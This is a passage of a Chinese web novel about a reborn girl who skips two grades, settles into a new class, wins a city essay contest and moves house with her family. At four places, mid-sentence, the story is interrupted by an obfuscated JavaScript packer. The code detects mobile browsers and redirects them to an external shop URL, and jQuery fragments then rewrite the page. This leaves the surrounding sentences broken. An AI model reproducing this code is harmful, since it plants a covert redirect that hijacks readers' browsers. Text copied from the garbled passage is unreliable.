事情说完了，刘老师和主任打了声招呼就下楼回了一年级的办公室；而教导主任则感叹着新老师经不住事，学生表现得好一点点，就以为是什么天才了，说要跳级就让跳级，也不知道劝着拦着…… 下午的时候，他和校长说起了这事。 校长这几年一直想让学校出点成绩，在各种比赛上花了不少钱，以鼓励学生参加比赛拿奖。听说有这么一个学生，他顿时来了精神，决定也要看看那个学生的表现。若是真是个小天才，就让她跳级！ 于是，周一筱芫刚走进学校，还没来得进教室，就被班主任叫住，直接领到了五楼的校长办公室。 “……一会见到校长和主任，不用紧张，怎么想就怎么回答。加油，老师会陪着你。”上楼的时候，班主任和她这么说道，说完，还轻轻拍了拍她的肩膀，带着明显的鼓励之意。 校长办公室的门没关，刘老师轻轻敲了下门，才带着筱芫走了进去，对办公桌边的两个人说道：“校长，主任，这就是我班里想要跳级的学生，褚筱芫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628138|187976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “褚筱芫同学，是吧？不用紧张，坐吧。”校长笑眯眯的，看上去很好说话的样子，而一边的教导主任则是绷着冷脸，不苟言笑，看着就很严肃。 完全和筱芫记忆里一模一样，她心里稍松了松，小学和初中的老师，包括校长和主任，在她印象里都是蛮好的。至少上辈子她听过其他学校的黑暗恶心的事情，在她上学那时候是从来没发生过的。 办公室靠门的角落里有一副桌椅，她先和校长、主任问好，随后依言在那张椅子上坐下，然后就注意到桌子上已经放了好几张试卷。 想着这应该就是给她的，筱芫抬头看了看班主任，又看向校长他们：“校长好！主任好！这是要我做的试卷吗？” “嗯，没错。你先做卷子，做完咱们再来说跳级的事。”校长笑着点点头说，却并没有承诺考多少分就答应她跳级。 筱芫对这个情况也有预想过，所以并不在意，只应了好，然后从书包里拿了笔出来。 试卷的第一行标题写着“C小三年级2001-2002学年第一学期期中试卷”，她看了一下另外两张试卷，都是上周的三年级期中考试卷。习惯性地检查了一遍试卷，确定没有印刷问题，她就沉下心开始答题。 首先做数学试卷，已经复习完小学内容，最近还专门练习了许多三年级练习题的她手感十分好，做得很顺，就是在计算上稍稍慢了一点，怕一个粗心做错写错，但最后花的时间也不到半个小时。 然后是英语，三年级的英语试卷基本都是选择题，只有最后才有几道填单词和句子的题目，听力也是很简单的对话；筱芫自然没被难住，很轻松地写完了。 最后是语文，她下意识地翻到背面看作文题是什么——主题题目是“我最印象深刻的一件事”，文体不限，字数300-500（诗歌除外）。这个题目很寻常，毕竟谁小学作文没写过“最印象深刻的一件事”“我的理想”“我的家乡”“我的爸爸/妈妈/爷爷/奶奶……”之类的题目呢。 大概想了一下作文要怎么写，筱芫便把试卷翻回第一页，继续答题。默写、填空、选择、阅读，除了选择的多音字词让她稍微犹豫了一下，以及阅读理解题她没有把握一定都对之外，其他题目她都做得很顺。很快就到了最后的作文题。 筱芫先想了想自己小时候印象最深刻的事，很快就有了想法；然后她在草稿纸上写了自己的作文思路，按照原因经过结果的句式，写了一小段话概括那件事；最后她在脑中构思了一遍后，才开始在试卷上写作文。 为了不出现错字涂改的情况，她写得比较慢。但她刚写了一半，完成周一讲话回来的校长就让她可以不用继续写了，收卷子的时候把她的草稿纸也收了上去。 “你完成的部分已经可以让我们做判断了，现在你可以休息一会，试卷批改很快就能出结果。”校长说着，把试卷递给几个筱芫不认识的老师，他自己就在几个老师旁边看着。 9. 新目标，新班级 第九章新班级，新的小目标 十分钟后——看着除了语文的作文、都拿了满分的三张试卷，还有拿着试卷、努力表现出沉着冷静的学生，校长终于满意地点头。只要好好培养，这个学生不就是他们学校的一张活招牌？生源越多，才能有更多成绩好的学生，学校才能得到更多资源。 好耶！终于跳级成功啦，重生后第一个小目标完美达成！ 已经得到跳级准许的筱芫离开校长办公室后，内心的小人就一直在大声欢呼，要不是所处的地方不太合适，她都想笑出声了。 “你先回教室，把上午的课上完。中午回去和你父母说一下，让他们下午来一趟学校，补一份跳级申请和家长知情同意书，课本可以交回来换成三年级的。到时你被安排到三年级哪个班应该也能知道了。跳级的事先别和班上的同学说，知道了吗？” 回教室的路上，班主任细细地叮嘱了好些话，筱芫认真地听着，没有半点不耐烦，还乖乖答应了班主任说的最后一句。 回到班上，小同桌还有前后桌的同学都对她这么晚才来极为好奇，因为答应了不说，筱芫只能摇摇头，只说自己没事，有事耽误了才来晚了。 小孩子的好奇心来得快去得也快，她不说，小同桌几人就把疑问抛到脑后，谈论起了今天是不是要发试卷、不知道考了多少分。 试卷还没到周末就改完了，当然是要发的。这个时候的孩子，很多对考试成绩还没有什么概念，不知道什么是考好考坏，也不太在乎分数。但是他们却都知道家长喜欢一百分，尤其是有很多人都考了一百分的时候…… 中午放学铃一响，筱芫立刻收拾好书包，跟小同桌挥挥手，就快步地走出了教室，一蹦一跳地出了校门。 她已经迫不及待地，想要把自己成功跳级的这件事告诉老爸老妈了！ 一路跑回家，直到到了家门口，被紧闭的门冰冷无情地拒绝在门外的她，才渐渐从兴奋开心的情绪里回过神来。 呃，好像有点傻……作为一个灵魂成了年许久，还带着学习专用空间金手指的人，她能通过跳级考试那不是必然的事吗？都这么“作弊”了。 筱芫觉得她需要刷题冷静一下！ 于是，她进空间翻出了小学的奥数题，几道题做下来，她就彻底认清了一件事——她果然还是个普通人，没有因为重生灵光一闪成为天才。四年级的奥数题她做着都觉得难了，高年级的就更不用说了。 为了防止自己心态又飘，筱芫觉得是时候定下新的小目标了。 最近的，最简单的目标，应该是升上三年级后，拿到期末考第一；就算自己就是个作弊器，但是她也不敢打包票期末考一定能考过所有人。 进奥数班也可以当做一个小目标来考虑，还有作文、英语方面的比赛竞赛，他们学校虽然不大，但还蛮重视这些比赛的。 筱芫依稀记得上辈子小学时有个六年级的男生拿了全省的奥数比赛一等奖，学校特地开了表彰大会。然后不止学校方面奖励了那个男生六万块奖金，当地的企业家还奖了他电脑电视，市里最好的两所中学都想特招他直接入学。 当时那么多奖励，可把他们全校学生给羡慕坏了。那个时候，几乎家家户户都会把那个男生当作“别人家的孩子”来勉励、教育自家孩子。 自觉没什么数学天分的筱芫想进奥数班，只是为了时刻打击鞭策自己，免得哪天听多了别人夸奖又得意忘形。拿奖什么的她想都没想过，倒是作文比赛和英语竞赛，可以多努力一点，只要能拿到省前三，就可以拿到学校奖励，说不定还可以不用升学考直升市里的重点中学。 定好了接下来小学三年的目标，筱芫又开始斗志满满地做练习题。 于是，等褚父褚母他们回来的时候，就看到了小女儿坐在门口奋笔疾书，一副沉浸在学习里的模样。 让小女儿赶紧起来进屋，褚父褚母对视一眼，正打算问她期中考成绩和什么时候找老师说跳级的事，结果还没开口，就被她说的话先给砸蒙了： “爸，妈，我通过跳级考试了，老师让你们下午去一趟学校，补齐跳级申请书和家长同意书。”筱芫平淡地同老爸老妈说完老师交代的话，就提着书包进了屋，准备先收拾好一年级的课本。 幸亏她一早就有跳级的想法，所以很注意保护好书，也没在上边涂写过；但是练习册之类的就不行了，就算一年级用的铅笔，可以擦掉字迹，但总归没那么新。也不知道学校能不能答应回收替换成三年级的…… 三年级的书杂费好像要比一年级多，能换的话还是换，实在不行就留给细弟上学用，能省一点是一点。筱芫这么琢磨着，还是把擦干净字迹的练习册一起塞进了书包，打算下午带到学校去。 褚父褚母愣了半天，才终于反应过来，惊喜地连声问道：“你通过跳级考试了？什么时候的事？你什么时候跟老师说了？” “跳级这么大的事，你怎么这么冷静啊细妹？”二哥盯着她看了一会，也忍不住道，“要是我，肯定得找我哥们他们炫耀一番！肯定能让他们崇拜我，那我就是老大了！” 大姐则是坐下来帮她把书叠好放进书包，温柔地摸摸她的脑袋，夸奖道：“细妹真厉害！” 筱芫对大姐笑了笑，不理有点犯中二的二哥，转过头回答老爸老妈的问题： “我上周放学回来不是跟你们说过，问老师跳级的事吗？然后老师可能就跟校长和教导主任说了。今天早上，我刚到学校，还没去教室放书包，就被老师带到校长办公室考试。考完试，校长看了我考出来的成绩，就答应我跳级啦！” 褚父听完，红光满面，十分高兴地决定奖励她，问她想要什么东西。褚母虽然也替小女儿感到高兴，但又要照顾一家六口又要打工的她早已习惯了什么都憋在心里、不知道怎么和女儿说软话夸奖，所以只能多炒了一盘小女儿一直想吃的火腿鸡蛋。 看到摆在自己面前的火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628139|187976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腿炒鸡蛋，筱芫看向老妈，嘿嘿傻笑了一会，低下头喉头却有点哽咽。 她得快一点、再快一点成长起来才行，趁老爸老妈还没变老、趁一切都还早…… 吃完一顿热闹开心的午饭，下午上学的时候，褚父褚母就带着还没上学的细弟，和筱芫一起到了C小。 班主任刘老师拿出跳级申请书和同意书，跟褚父褚母解释了一遍，然后让他们在右下角签字。筱芫则忙着把课本和练习册搬到办公桌上，一边不忘问老师练习册能不能换。 “我把写了答案的地方都擦干净了，没有折痕没有划痕。”她期待地看向班主任。 刘老师忍不住笑了：“这个校长说过了，可以。而且校长还说，只要你以后每学期都考年级第一，或者参加作文比赛得到市级以上奖励，学校可以免除你的学杂费和借读费，甚至还会给你发奖金。” 她知道自己这个学生家境不太好，又是外地人，尽管现在是义务教育，不用交学费，但每年入学的学杂费和借读费都已经让这个家庭难以为继了。如果可以靠学习赚钱、免去入学的费用，对这个学生的家庭来说，应该是再好不过的事。 “真的吗？”筱芫知道学校对比赛拿奖的学生会有奖励，但还真不知道保持年级第一可以免除学杂费借读费！这一来，她完成小目标的干劲热情更高了！ 褚父褚母对这件事显然也很惊喜，但也有点担心孩子有太大压力，所以看着反倒没有筱芫那么兴奋。 但是作为重生的人，筱芫觉得这么大诱惑下，加上学习空间帮忙，她要是还坐不稳小学的年级第一，以后竞争更大的高考就不用想重本了。更远更大的目标也不用考虑了。 被激励到的她干劲十足，一个晚上就把刚拿到的几本三年级习题册做完了，又继续奋斗奥数题，心里还盘算着去书店多找几本奥数题、作文选之类的看。 到了第二天，筱芫准时八点起床，在空间里做了大半夜题的她精神奕奕，还在吃早饭前蹦蹦跳跳地做了会广播体操。 到了学校，走到三年级的那栋楼下，她做了次深呼吸，手拉紧书包的双肩带，慢慢往上走。 上楼梯的时候，筱芫遇到了许多三年级的学生，不过怕早读迟到的他们并没有太过留意她，这让筱芫稍稍放松了些。 她被分到了三年级1班，听说是年级语文组长带的班的时候，她就隐约觉得可能会是带过自己的老师。 看到有些熟悉的、神情严肃的班主任，筱芫忽然有点莫名的安心，上前一步问好道：“老师好，我叫褚筱芫，是刚从一年跳级上来的学生。” 王老师神情不变，只是点点头，让她跟着进教室，然后也没有让她先自我介绍的意思，直接指了最前边的一张空桌子让她入座。 筱芫正好觉得站在讲台上自我介绍有点太尴尬了，班主任这么安排正和她意。于是，她毫不犹豫地走过去坐好，然后装作没感觉到身后好奇的视线，拿出早读课的语文课本看。 10. 相处 第十章作文比赛 等班主任离开了，她才忍不住看向自己的同桌，这一看，恰巧对上了同桌看过来的视线。 “嗨，你是转学生吗还是……”李琪还是第一次见到有人在期中考都过了才来上课的，但是老班的样子又不像是对缺课这么长时间的学生。 老班在时不好问，老班一走，她就憋不住心里的惊奇疑问了。当然，转学生这个说法，她也是刚从前几天刚看过的作文选里看到的。他们学校以前都没有出现过转学生，所以她判断不了。 “呃？”筱芫眨眨眼，摇了摇头，凑近了对她小声解释道，“不是啊，我是从一年级跳级上来的，不是转学生。” 如果班主任他们没打算跟班里的同学说自己是跳级生，那她就没必要自己先说出去。引人注目不一定是好事；哪怕可能因此没多少人和自己说话也没关系，上辈子独自生活十多年的她，早就学会了独处、并享受独处的时光。 筱芫这么想着。 至于为什么和同桌说……多年的学生经历让她清楚，在大学之前尤其是小学初中的班级里，一年甚至可能几年才换一次的同桌，是相当重要的角色。和同桌相处的好坏，几乎可以决定那段学生生活的快乐与否、甚至正常与否；其重要程度完全不亚于住宿时候的舍友。 举例来说，如果和同桌相处得好，那么手放过线不会闹矛盾、上课忘了带东西可以和同桌共用、跑神的时候同桌可以帮忙打掩护、看不到板书做笔记的时候可以问同桌借来抄等等。 相反，如果相处得不好，那就麻烦了，同桌不但会在你手不小心放过线的时候拿笔、在你走神时打小报告、你看不到、看不清板书时故意不理你，还会故意用言语或小动作让你不痛快。而这些，和老师、家长多半说是没用的，因为没有证据。你要是频繁找老师要求换座位，说不定还会被当做刺头。 反正，总的来说，她还是希望能够尽量和同桌相处好的，哪怕没法成为朋友，能井水不犯河水就行。就眼缘而言，她觉得这位新同桌眼神清亮，好奇就直接问，应该是个性子干脆的人，她们或许能成为朋友也说不定。 “不过老师没说，我也不想说，不然有点奇怪。所以你能不能帮我保密啊？”小孩子成为好友的第一步，往往是拥有一个共同的秘密。 筱芫一番厚着脸皮装小孩卖萌撒娇，成功让同桌李琪答应了保密，还交换名字成了朋友。 到早读下课的时候，李琪更是十分有义气地替她挡住了所有好奇的议论发问：“一会老班就要来上课讲试卷了，你们试卷都错的地方都订正了？有这闲功夫，还不如赶紧把试卷错的地方订正了！” 本来就是一时好奇图新鲜的众同学闻言，顿时就散了，如平时一样该干嘛干嘛、各做各的事。 筱芫借机观察了一下班里的同学，看了一圈之后，有几个同学还在偷偷看她；她没怎么在意，对她们笑了笑就收回了视线。 陈欢看到新来的同学对她笑了一下，顿时眼睛一亮，就想过去和新同学说话；但是被同桌文悦拉住了： “先别急，新同学看着好小，你这么突然跑过去吓到人家怎么办？先传纸条给李琪，让她把我们介绍给新同学就好啦！” “诶，文文你真聪明！就这么定了！”陈欢是个急性子，说做就立马写了纸条，让前桌帮忙往前传。 前桌的汪洁也是刚刚偷看新同学的人之一，见状便说她也要一起，于是又耽误了一会。等纸条刚传到第一排李琪手里的时候，第一节的上课铃就响了。 第一节课是他们老班的课，可没人敢造次，所以李琪拿到纸条就塞到了桌子里，看都没来得及看。不过纸条里会写什么，她一猜就知道。李琪嘿嘿地笑了下，忽然觉得坐第一排也不错。 筱芫敏锐地察觉出，自己这个看着蛮好相处的新同桌心情突然又好了几分，不明所以地看向她，两人又恰好对上了视线。 沉默片刻，看着她尴尬地眨巴眼，筱芫不由也笑了。 李琪像是得到了什么肯定，笑得更灿烂了，但是或许是乐极生悲，下一秒她就被班主任点了名： “李琪，接下来这道题你本来不应该错，现在你重新回答。试卷选择题第4题，正确答案是哪个选项？出自哪里？” 虽然觉得李琪没问题，但筱芫还是悄悄地把试卷往中间挪了一点，用红笔标注的每个选项出处很显眼，想看的话一眼就能看到。 不过李琪已经订正了试卷，自然没被问住，很快就回答完老师的提问，重新坐下。虽然她并不需要帮忙，但是筱芫的好意她感受到了；所以愈发希望新同桌能和她、她的朋友陈悦他们都成为好友。 班主任王老师讲试卷的速度不慢，也很仔细，基本会确定班里所有学生都弄懂了会做了，才过下一题。 然后，在下课前几分钟，王老师结束了讲评试卷，看了一眼第一排的新学生，向班里学生介绍道：“同学们，今天咱们班里来了一位新同学，她是从一年级跳级上来的。” 教室里顿时一片喧哗。筱芫感觉到看向她的视线里多数是惊讶惊叹的热烈（？）的，但也有不怎么友好、带着质疑的。 唉，就是知道会这么麻烦，她才会不想太过高调，反正只要老师不说她不说，大多学生都不会知道……筱芫微微皱了下眉，又想到了上辈子学生时期的那些不愉快的经历。 “褚筱芫同学跳级考试用的试卷是这次你们期中考的，除了语文的作文部分其他都是全对满分。”王老师没在意，用课本敲了下桌子，让大家安静，又接着说道，“新同学能做得到，你们肯定也都是能做得到的，像是李琪、邱集、文悦你们几个，只要看题仔细点，别每次都因为粗心大意丢分，老师相信你们肯定都没问题。” 听完，教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628140|187976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室里的同学们又有些喧闹，但显然情绪都昂扬了不少，看向筱芫的视线也都不见了。 “好了，你们以后都是一个班的同学了，要互相帮助、一起进步。褚筱芫同学年纪比你们小，你们多照顾一点，你们都是好孩子，老师就不多说了！”王老师刚说完，下课铃就响了，她索性摆摆手，让学生可以下课自由活动了。 等老师一出教室，整个301班顿时闹哄哄的。陈欢文悦几人在其他人之前，占据了筱芫和李琪的座位最近的位置，其他早就好奇的同学也跟着哗啦一下围了过去。 于是乎，筱芫一个上午的课间都没能离开座位。好奇心相当重、但是为人不错还很热心的女同学们围着她问了各种各样的问题，比如跳级考试难不难、喜欢什么不喜欢什么之类的，满足完好奇心离开的时候，还不忘揉乱她的头发、让她叫姐姐，同时塞各种小零食给她。 真的不一样了啊，筱芫看着满桌子的零食想着，无奈地用手随便梳了梳乱糟糟的头发，然后将零食先收到桌子里，想着中午放学的时候带回家去。 接下来的一个星期，或许是新鲜感还没过，又或者是因为刚考完期中考，大家都比较放松，301班的同学们、尤其是女同学们对她依旧十分热情；每天课间，她身边都围满了人，说说笑笑的，好不热闹。 筱芫也在这样的环境里，逐渐适应了三年级的生活，稍微调整了一下后，她又开始了每天自习复习刷题的日常。 在她升上三年级的第二个月，老班（她也不知道什么时候就跟着这么喊班主任了）下课后，点了她还有另外几个同学的名字，让他们去办公室一趟。 被点到名的同学里，文悦陈欢都和筱芫混熟了，非常自然地拉着她就走，然后一边走向办公室，还一边猜测老班喊她们去是为了什么事。听到她们各说各的猜测，另外六个同学也凑过来参与到讨论中。 争论一番后，几人达成一致意见——肯定不是坏事，很有可能是要参加什么比赛之类的，比如说作文比赛。如果是坏事的话，老班刚才脸色肯定没那么好。这是陈欢说的原话。而他们恰好成绩都不错，尤其是语文和英语。 果然，到了办公室之后，老班就直接告诉她们，这个月底有一次全国性的主题作文比赛，学校很重视，决定本周先搞一场比赛筛选一下，前十名再去参加市里的比赛。只要能拿到市里的前三名，就可以去省里参加比赛了，说不定还有机会进入全国赛。 只要拿到市里的名次（前八名），学校就会给奖励；如果能进省、国，当然会给更多奖励，但是学校没有要求，所以不用太有压力。 筱芫听明白了，也就说，学校对去参加作文比赛的同学会有要求，至少得有一个人能拿到市里的名次。难怪老师找的都是作文成绩都不错的同学，而她，大概是因为连续被周报刊登了几篇作文，也被老班列入了参加名单。 11. 搬家 第十一章搬新家了 他们小学虽然不大，只是村办小学，但是因为校长重视，各科目的比赛基本都会参加，拿名次的次数也不少。 对于筱芫来说，这是她期盼已久的机会，所以哪怕老班没说什么，只让她们尽力就好，她也打定主意一定要争取冲进全国比赛。数学那边没把握，写文章可是她上辈子赖以生活的饭碗，要是这点都达不到，那也太丢人了。 于是乎，她在空间的学习又加上了一项作文训练，包括素材阅读积累和随机抽选主题练习。 这么疯狂练习的结果十分明显。周六学校的作文比赛，筱芫成功入选参加市里比赛的名单；接着比赛没过多久，她得了全市作文比赛一等奖的消息也传到了学校。 全市一等奖小学组只有两个人，二等奖有五个人，都可以代表市里参加省里的比赛。他们小学只有她和另外一个六年级的学生可以参加，而她还是所有参赛学生里最小的。 校长十分爽快地给她发了奖励：一本硬皮笔记本、一支钢笔还有一百块钱，并且勉励她在省里的比赛获得更好的成绩。 拿到第一笔比赛奖励的筱芫觉得自己干劲十足，把钱交给老妈，钢笔和硬皮笔记本给了老爸之后，她又接着继续学习。 因为她不是为比赛忙碌着，就是在沉迷学习，所以周六在饭桌上听爸妈说，他们第二天就要搬家、请了哪些亲戚朋友来帮忙的消息时，她呆住了。 要搬家这么大的事情，她居然完全不知道？！筱芫连忙向大姐二哥确定，他们要搬家到哪里。 “你不知道？”大姐和二哥对此也很吃惊，但是想想自家妹妹上学之后的状态，也明白了，“哦，可能是你在楼上看书的时候吧。上上个星期老爸生日那天的事了，那个时候老爸老妈怕吵到你学习，让你上楼去了。咱们要搬到隔壁，就是正对着水井那个房子，好大，有三间屋子呢！还有厕所！” 筱芫回忆了好一会，才终于想起来确实是那么回事，她还用稿费给老爸买了一双袜子作为生日礼物。那天家里客人来来去去的、确实很热闹，但是知道她要学习、而且不喜欢烟味，老妈就让她去小阁楼上。没想到就错过了家里要搬家的信息。 听大姐二哥说他们今天去收拾房子，扫地拖地，收拾干净了，才准备搬过去。搬家的时辰也看好了，明天凌晨早早就得起来，搬完家才能回去继续睡。 上辈子这次搬家她是知道的，还帮忙收拾了屋子，这次却……筱芫在心里叹气，决心以后得多关心家里的事，那样才能在合适的机会，说服老爸老妈他们，避免某些事。 “今晚你们都早点去睡觉，别到时候喊你们半天起不来。”商量完，褚母转过来提醒他们，他们这边是很看重时辰风水之类的。 凌晨四点左右，在空间里写文的筱芫听见老妈喊他们起床，立马就出了空间，装作刚睡醒的样子，慢慢坐了起来。 “赶紧起来了，你彭叔他们都来了。天冷，出来记得把校服外套穿上！” 她一边点头应着老妈的唠叨，一边打着哆嗦套上毛衣又穿上校服，然后和大姐二哥细弟一起，把书本试卷全都塞进自己的书包背着。 屋子里有点乱，还空了许多，大人们已经把大件的床、办公桌、小彩电之类的搬过去了。筱芫几次凑过去想帮忙搬东西，都被当做小孩子爱凑热闹地拒绝了。 后来还是大姐看她真的想帮忙，把洗澡洗脸用的几个桶、盆交给她拿。 筱芫一点不挑，拿着东西就欢快地走到了隔壁——他们家接下来一段时间里，暂时的“新家”。把东西靠墙放好后，她又跑回去帮忙拿些零碎的东西，来回跑几次之后，家就基本搬好了。 老妈和大姐还要打扫原来租的屋子，也不让她帮忙，筱芫想了想，干脆回“新家”收拾归整东西好了，也就没有非要留着。 几个房间都扫干净了，她拿着打湿的抹布，趁着大人们还在讨论怎么安排家具、怎么摆放的时候，先把搬过来的桌椅什么的都擦一遍。 最后讨论的结果跟上辈子一样，老爸老妈睡中间那屋，同时也是客厅，小彩电、办公桌还有喝茶用的桌椅就都放那里；二哥细弟睡最外边那屋，她和大姐睡最里边，她们屋外就是厨房和吃饭的地方。 上辈子，她在这里度过了几乎整个小学生涯，虽然记忆模糊、很多事她不太记得了，但是却记得在这里发生过的、简单的快乐的小事。 第一次炒菜做饭、花大半天时间观察蜗牛和蚂蚁还有潮湿季节小花园里长出来的漂亮的黄色毒蘑菇……这些一点一滴，让筱芫单调的生活里充满了更多色彩。 她收拾着东西，想到上辈子自己还在这里用树叶埋葬了一只蝴蝶，因为救不了它还哭了一会。那个时候她还没看过《红楼梦》，不知道黛玉葬花的典故，只知道小蝴蝶没能找到妈妈饿死了。现在想想，那时候的她还真的挺傻的，书里说什么她全都当真的。 “太好啦！我们有自己的房间，还那么大！小花园好漂亮！还有厕所，我们以后可以不用跑到公厕了！”文静的大姐拉着她到处看，难得显露出了几分激动欢喜。 筱芫十分赞同地猛点头，重生后除了没有便捷的网络，她最难以忍受的就是这个了。 老爸老妈留了来帮忙的亲戚朋友一块吃早饭，然后大人们还要在一块聊天热闹，小孩子们就可以回去补觉了。筱芫跟着大姐也回去睡了一会，这次她没有进空间，实打实地睡了一觉。 等她一觉醒来，外边已经天色大亮，有饭菜的香气从屋外飘了进来。 “细妹，起来吃午饭啦！”筱芫正迷糊着，就看到大姐进来和她说道，这才知道她一觉睡到了中午。 来帮忙的彭叔他们都已经回自己家了，所以家里现在很安静，她走到房间门口，伸了下懒腰。太久没真的睡这么长觉了，都睡迷糊了，不过偶尔一次，感觉还不错。 筱芫心情很好地决定以后每周六都这么睡，不去空间复习，劳逸结合嘛，不能太过度了，不然会有厌学心理。 “你那个作文比赛怎么样了？接下来还要比赛吗？是不是得去省里啊？”吃午饭的时候，褚父好像突然想起来这事问道。 看到他眼底的期待，筱芫想了想，没打包票：“市里的比赛结果出来后，老师只说让我先等等，多看书练习，等通知就可以了。应该接下来还要比赛的，需不需要去省里参加比赛，我也不确定。” “唔，好，你好好努力，学习也不能落下，知道吗？”褚父不懂这些，看她点头就满意了，然后叹了口气，开始对几姐弟进行日常念叨， “你们上学每学期都要花很多钱，所以要好好读。别人想读书都没得读，你们能读书要珍惜！你们老子我累死累活，就是为了你们几兄妹成人成才。没文化没文凭赚钱多不容易啊！当年你们爷爷要是有钱供我读书，我说不定能考上大学，也不会像现在这么难。你们……” “好了好了，说这么多干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628141|187976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么？孩子们又不是天天到处玩、没心思读书。”褚母听到一半的时候脸色就不太好看，直接打断他的话，让几姐弟吃完该学习的去学习，要玩的去玩。 “爸，我们知道的，你和妈放心。”大姐和二哥看了看爸妈的脸色，乖乖说了一声就离开了饭桌。 筱芫看着老爸忍着脾气不敢发、像是受气的样子，又看了看老妈的冷脸，忽然又想起了上辈子。原来这么早的时候，矛盾就已经积下了啊，难怪后来会…… 可现在的她，即便从上辈子知道了父母之间的矛盾缘由，也什么都做不了。因为在他们这样偏僻的农村、小镇，以她如今的年龄，父母长辈没有一个会听小孩的想法，把孩子的意见当回事。 有的时候，她真的觉得他们几姐弟是老妈的负累，没有他们，老妈或许不会过得那么辛苦。 筱芫眼里漫上沉郁的黑色，放任消极的情绪在心底蔓延了一会儿，她才用力拍了拍脸，振作起来：怕什么！她都已经让自己的人生轨迹发生改变了，只要像之前那样，继续努力，一定可以让更多事情往好的方向改变！ 在旁边看着自家妹妹不知道为什么又开始发奋学习做题，有点学渣想要颓废一会的大姐诸希桦看着，不好意思偷懒，又坐直了身子继续做作业、复习功课，写着写着，状态竟然越来越好，还没到晚上就做完了以前周末根本写不完的作业，还背了会单词！ “我原来可以做完这么多作业的嘛！”她两眼发光，突然觉得学习、写作业也没有那么难，对比没做完作业的大弟，成就感一下就起来了。 听到大姐这么说，筱芫从练习题里挣出来，笑着说道：“姐，你本来成绩也不错啊，只要你能专心，写完作业肯定没问题。” 他们几姐弟就是容易被学习之外的事弄得心思杂乱，尤其是越长大就越会这样，所以到高考的时候，总是会发挥失常。要是弄从现在开始，让大家都学会无视其他事情的干扰就好了。 虽然她也不知道要怎么才能做到这一点就是了，但是多试着沉浸在专心学习的状态里总归没错。 或许是认为大姐能这么专心完成作业的原因在于她，二哥晚上也把作业课本带来她们房间一块写了。 看到他们几姐弟这么认真，褚母示意褚父把电视机的音量调小，又管着小儿子不让他过去，免得吵到他的姐姐哥哥们学习。 就在这样认真学习的氛围中，搬家的这个周末平淡无奇地过去了。 周一的早读课是全班同学最没有早读氛围的时候。 因为大家通常不是还沉浸于周末放假的快乐中不愿醒来，就是周末玩得太开心忘了作业正疯狂补（抄）作业中。只有班主任出现在教室的时候，大家才会不太情愿地拿出课本进行早读。 今天也不例外。筱芫从窗口瞄到不远处老班正在靠近，连忙碰了碰同桌李琪，小声提醒她班主任来了。 李琪知道她不会骗人，立刻动作迅速地把作业本收到桌子里，然后翻开放在一边的语文课本，一套动作行云流水，花费不用三十秒。 等老班走进教室，其他同学慌张藏起作业本的时候，她已经跟筱芫一起在读课文了。 老班揪出两个当着她面依旧“顶风”抄作业的男生，罚他们今天内抄三十遍课本里的所有古诗，又冷着脸在教室里走了两个来回，让所有同学都认认真真早读之后；她走到了筱芫和李琪的桌前，说道： “筱芫，你跟我来一趟办公室。” 12. 同桌李琪 第十二章日常 筱芫心里猜测会不会是作文比赛的事，有点兴奋又有点紧张地飞快起身，跟在老班后边。 老班也没打算卖关子，直接就说了全国作文比赛之后的流程： “你和另外一名同学这周周五早上，和市里其他参加比赛的同学一起搭市里安排的大巴车去省里，到时候我们学校的主任会陪你们一起去。到了省里会有安排好的地方可以住，只需要住一个晚上，不用在那等比赛成绩。如果能拿到一等奖，就可以继续参加全国作文比赛。比赛时间估计最迟也就在这个月月底。” “好的老师，我知道了。但是，去比赛的时候，家长能陪着去吗？”筱芫先是直接答应了，可后来想到要去省里，老妈老爸可能会担心，就又问道。 老班应该是一早就考虑过会有家长不放心、想跟着去的可能，所以解释得很仔细：“原则上是不建议家长陪着一起去的，因为已经有学校老师和带队老师跟着了。但是，如果家长实在不放心，自己订车票跟着去，学校也不能说不行。” 